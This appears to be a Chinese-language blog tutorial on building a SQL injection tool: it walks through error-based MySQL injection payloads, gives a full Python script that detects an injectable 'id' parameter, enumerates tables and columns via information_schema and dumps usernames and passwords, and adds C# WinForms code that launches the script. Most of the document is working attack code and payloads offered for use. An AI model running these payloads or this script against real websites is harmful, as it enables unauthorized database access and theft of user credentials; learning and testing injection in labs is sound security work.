本篇文章主要介绍使用C#winform编写渗透测试工具,实现SQL注入的功能。使用python编写SQL注入脚本,基于get显错注入的方式进行数据库的识别、获取表名、获取字段名,最终获取用户名和密码;使用C#winform编写windows客户端软件调用.py脚本,实现用户名和密码的获取。
SQL注入
实现步骤
代码实现
软件使用步骤
SQL注入是指攻击者在Web应用程序中事先定义好的查询语句的结尾加上额外的SQL语句,这些一般都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。(危害:盗取网站敏感信息、绕过验证登录网站后台、借助数据库的存储过程进行权限提升等操作)。造成的原因是程序员在编写Web程序时,没有对浏览器提交的参数进行严格的过滤和判断,用户可以构造参数,提交SQL查询语句,并传递到服务器端,从而获取敏感信息。
常使用的方法:
?id=1
的参数,若成功返回结果,代表环境可以使用。'
、双引号"
、括号)
、反斜线/
等),输入?id=1'
,发现报错,说明此处可能有注入点,同时确认数据库为MYSQL数据库。?id=1' order by 1 --+
,页面返回正常信息,再输入?id=1' order by 2 --+
,一直到id=1' order by 4 --+
,页面报错,这时候我们就可以知道此表中有3列数据。id=0' union select 1,user(),database() --+
,得到用户名和使用数据库的库名。information_schema
,使用group_concat()
来获取正在使用的库中有哪些表传入的参数,具体用法为传输参数?id=0' union select 1,DATABASE(),group_concat(table_name) from information_schema.tables where table_schema=DATABASE() --+
,获得当前数据库使用的表名。id=0' union select 1,group_concat(username),group_concat(password) from users--+
,获得获取字段名。group_concat()
获取字段值,具体为传输参数?id=0' union select 1,group_concat(username),group_concat(password) from users--+
获得用户名和密码。import time import sys from urllib import request from bs4 import BeautifulSoup def log(content): this_time = time.strftime('%H:%M:%S', time.localtime(time.time())) print('[' + str(this_time) + '] ' + content) def send_request(url): # log(url) res = request.urlopen(url) result = str(res.read().decode('utf-8')) return result def can_inject(test_url): test_list = ['%27', '%22'] for item in test_list: target_url1 = test_url + str(item) + '%20' + 'and%201=1%20--+' target_url2 = test_url + str(item) + '%20' + 'and%201=2%20--+' result1 = send_request(target_url1) result2 = send_request(target_url2) soup1 = BeautifulSoup(result1, 'html.parser') fonts1 = soup1.find_all('font') content1 = str(fonts1[2].text) soup2 = BeautifulSoup(result2, 'html.parser') fonts2 = soup2.find_all('font') content2 = str(fonts2[2].text) if content1.find('Login') != -1 and content2 == None or content2.strip() == '': log('Use ' + item + ' -> Exist SQL Injection') return True, item else: log('Use ' + item + ' -> Not Exist SQL Injection') return False, None def test_order_by(url, symbol): flag = 0 for i in range(1, 100): log('Order By Test -> ' + str(i)) test_url = url + symbol + '%20order%20by%20' + str(i) + '--+' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser') fonts = soup.find_all('font') content = str(fonts[2].text) if content.find('Login') == -1: log('Order By Test Success -> order by ' + str(i)) flag = i break return flag def get_prefix_url(url): splits = url.split('=') splits.remove(splits[-1]) prefix_url = '' for item in splits: prefix_url += str(item) return prefix_url def test_union_select(url, symbol, flag): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == flag - 1: test_url += str(i) + '%20--+' else: test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser') fonts = soup.find_all('font') content = str(fonts[2].text) for i in range(1, flag): if content.find(str(i)) != -1: temp_list = content.split(str(i)) return i, temp_list def exec_function(url, symbol, flag, index, temp_list, function): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == index: test_url += function + ',' elif i == flag - 1: test_url += str(i) + '%20--+' else: test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser') fonts = soup.find_all('font') content = str(fonts[2].text) return content.split(temp_list[0])[1].split(temp_list[1])[0] def get_database(url, symbol): test_url = url + symbol + 'aaaaaaaaa' result = send_request(test_url) if result.find('MySQL') != -1: return 'MySQL' elif result.find('Oracle') != -1: return 'Oracle' def get_tables(url, symbol, flag, index, temp_list): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == index: test_url += 'group_concat(table_name)' + ',' elif i == flag - 1: test_url += str(i) + '%20from%20information_schema.tables%20where%20table_schema=database()%20--+' else: test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser') fonts = soup.find_all('font') content = str(fonts[2].text) return content.split(temp_list[0])[1].split(temp_list[1])[0] def get_columns(url, symbol, flag, index, temp_list): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == index: test_url += 'group_concat(column_name)' + ',' elif i == flag - 1: test_url += str(i) + '%20from%20information_schema.columns%20where%20' \ 'table_name=\'users\'%20and%20table_schema=database()%20--+' else: test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser') fonts = soup.find_all('font') content = str(fonts[2].text) return content.split(temp_list[0])[1].split(temp_list[1])[0] def get_data(url, symbol, flag, index, temp_list): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == index: test_url += 'group_concat(id,0x3a,username,0x3a,password)' + ',' elif i == flag - 1: test_url += str(i) + '%20from%20users%20--+' else: test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser') fonts = soup.find_all('font') content = str(fonts[2].text) return content.split(temp_list[0])[1].split(temp_list[1])[0].split(',') def do_sql_inject(url): log('Welcome To SQL Injection Tool') log('Check For SQL Injection......') result, symbol = can_inject(url) if not result: log('Target Url Not Exist SQL Injection -> Exit') return else: log('Test Order By And Union Select......') flag = test_order_by(url, symbol) index, temp_list = test_union_select(url, symbol, flag) database = get_database(url, symbol) version = exec_function(url, symbol, flag, index, temp_list, 'version()') this_database = exec_function(url, symbol, flag, index, temp_list, 'database()') log('Success -> ' + database.strip() + ' ' + version.strip()) log('Database -> ' + this_database.strip()) tables = get_tables(url, symbol, flag, index, temp_list) log('Tables -> ' + tables.strip()) log('Default Use Table users......') columns = get_columns(url, symbol, flag, index, temp_list) log('Columns -> ' + columns.strip()) log('Try To Get Data......\n\n') datas = get_data(url, symbol, flag, index, temp_list) temp = columns.split(',') print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2])) for data in datas: temp = data.split(':') print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2])) if __name__ == '__main__': do_sql_inject(sys.argv[1]+'/?id=1')
对于python脚本中包含第三方模块的情况,同样,通过直接创建Process进程,调用python脚本,返回扫描结果。
private void button13_Click(object sender, EventArgs e) { richTextBox8.Clear(); runPythonsql_inject();//运行python函数 label39.Text = "开始扫描..."; }
void runPythonsql_inject() { string url = textBox10.Text; p = new Process(); string path = "sql_inject.py";//待处理python文件的路径,本例中放在debug文件夹下 string sArguments = path; ArrayList arrayList = new ArrayList(); arrayList.Add(url);//需要挖掘的域名 foreach (var param in arrayList)//拼接参数 { sArguments += " " + param; } p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //没有配环境变量的话,可以写"xx\xx\python.exe"的绝对路径。如果配了,直接写"python"即可 p.StartInfo.Arguments = sArguments;//python命令的参数 p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.CreateNoWindow = true; p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; p.Start();//启动进程 //MessageBox.Show("启动成功"); p.BeginOutputReadLine(); p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_sql_inject); Console.ReadLine(); //p.WaitForExit(); }
void p_OutputDataReceived_sql_inject(object sender, DataReceivedEventArgs e) { var printedStr = e.Data; Action at = new Action(delegate () { //接受.py进程打印的字符信息到文本显示框 richTextBox8.AppendText(printedStr + "\n"); label39.Text = "扫描结束"; }); Invoke(at); }